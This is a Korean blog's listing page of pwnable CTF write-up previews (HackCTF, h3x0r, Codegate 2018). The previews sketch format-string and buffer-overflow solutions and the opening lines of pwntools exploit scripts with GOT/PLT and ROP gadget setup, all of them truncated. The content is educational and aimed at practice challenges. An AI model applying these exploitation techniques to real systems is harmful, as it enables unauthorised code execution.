CTF's Write-up(141)
-
HACKCTF - Basic_FSB
문제 제목을 보면 FSB인것을 알 수 있으니 먼저 좁혀두고 가면 편할것이다. 실행하면 평범하게 입력값을 출력해준다. IDA로 실행해보면 전형적인 FSB문제 형식의 코드로 보인다 %p를 활용해서 주소를 출력해보면 첫번째 인자는 건너뛰고 2번째부터 시작되는것을 볼 수 있다. 또한 flag함수를 보면 /bin/sh 가 있으니 궁극적으로 이곳으로 리턴을 보내면 해결될 것이라는 것도 확인할 수 있다. 따라서 우리는 vuln함수의 printf(&format); 이 부분에서 printf.got 을 리턴으로 덮어주면 되니까 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * r = remote("ctf.j0n9hyun.xyz", 3002) context.log_level =..
2020.07.08 -
HACKCTF - /
"/" 이라고 하니까 아마 파일 디렉터리 관련해서 flag를 읽을 수 있을 것으로 보인다. 접속해서 보면 위와 같은 화면이다. 보통 robots.txt에 플래그가 들어있는데 들어가보니 /robot_flag/ 로 들어가라 해서 들어가보면 위와 같이 확인 가능하다.
2020.07.07 -
HACKCTF - Basic_BOF #2
가장 먼저 해야할 일은 역시 실행시켜보는 것 이상한 문구가 나와서 당황했습니다. 따라서 이 프로그램은 뭔가 넣으면 뭔가가 나오는 프로그램 인것을 알 수 있죠 더 이상은 모르니 IDA로 까보면 1. [7번줄] s에 0x85사이즈의 값을 받아넣는다 2. [6번줄] s값을 출력하는 함수의 주소를 v5에 넣는다 3. [8번줄] s값을 출력하는 함수 주소 실행 그럼 이제 어떻게 풀어야할지 생각을 해야하는데 그 전에 보호기법 확인해서 풀이방향을 좁혀보자. nx가 가능하니까 단순 bof로 쉘코드를 넣는건 불가능(짜피 버퍼 크기 딸려서힘듬) 그럼 ROP쪽이나 BOF에서 리턴주소 바꿔서 하는 가능성이 커보여서 함수들 찾아보는 중 에 초반에 나온 "하아하아하아하아"그 멘트를 찾고자 STRING을 봤는데 /bin/dash를..
2020.07.07 -
HACKCTF - Basic_BOF #1
오랜만에 포너블을 잡고 첫번째로 풀이한 문제 프로그램은 만나서 가장 먼저 해야하는일은 실행시켜보는 것 보아하니 값을 입력받고 그 값이랑 또 다른값인 체크 값을 보여주는 것 같다, IDA로 코드를 까봐서 무슨 동작을 하는 친구인지를 살펴보는게 좋을 것 같다. 코드를 보면 15번째에 쉘을 주는 코드가 있기에 15번째로 가려면 어떻게 해야할지가 관건이다 (10번째 분기문 통과 & 12번째 분기문 들어오기) 1. 10번줄 통과하려면 v5 값을 다른값으로 변조해주면 된다. 2. 12번줄에서 안으로 들어오려면 v5 값을 0xdeadbeef 로 넣어야한다. 정답이다 전형적인 BOF문제이다. 여기서 BOF로 익스플로잇을 하려면 s의 버퍼크기를 알아서 모두 덮고, 그 뒤에있는 v5에 0xdeadbeef를 넣어주면 된다...
2020.07.06 -
h3x0r easy_of_the_easy write-up
적당히 심심할때 풀어보면 좋을만한 문제였습니다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from pwn import * r = process("./easy_of_the_easy")e = ELF("./easy_of_the_easy")l = e.libcbss = e.bss()+0x16write_got = e.got["write"]read_got = e.got["read"]read_plt = e.plt["read"]write_plt = e.plt["write"]shell = "/bin/sh\x00"pppr = 0x080489e9contex..
2018.11.07 -
codegate2018 - BaskinRobins31
오래간만에 블로그에 포스팅은 하네요 ㅎㅎBaskinRobins31입니다. 12345678910111213141516171819202122232425262728293031323334353637383940from pwn import * r = process("./BaskinRobins31")e = ELF("./BaskinRobins31")l = e.libc write_plt = e.plt["write"]write_got = e.got["write"]read_plt = e.plt["read"]read_got = e.got["read"]bss = e.bss() + 16shell = "/bin/sh"pop_rdi_rsi_rdx = 0x000000000040087apop_rdi = 0x0000000000400bc3..
2018.10.31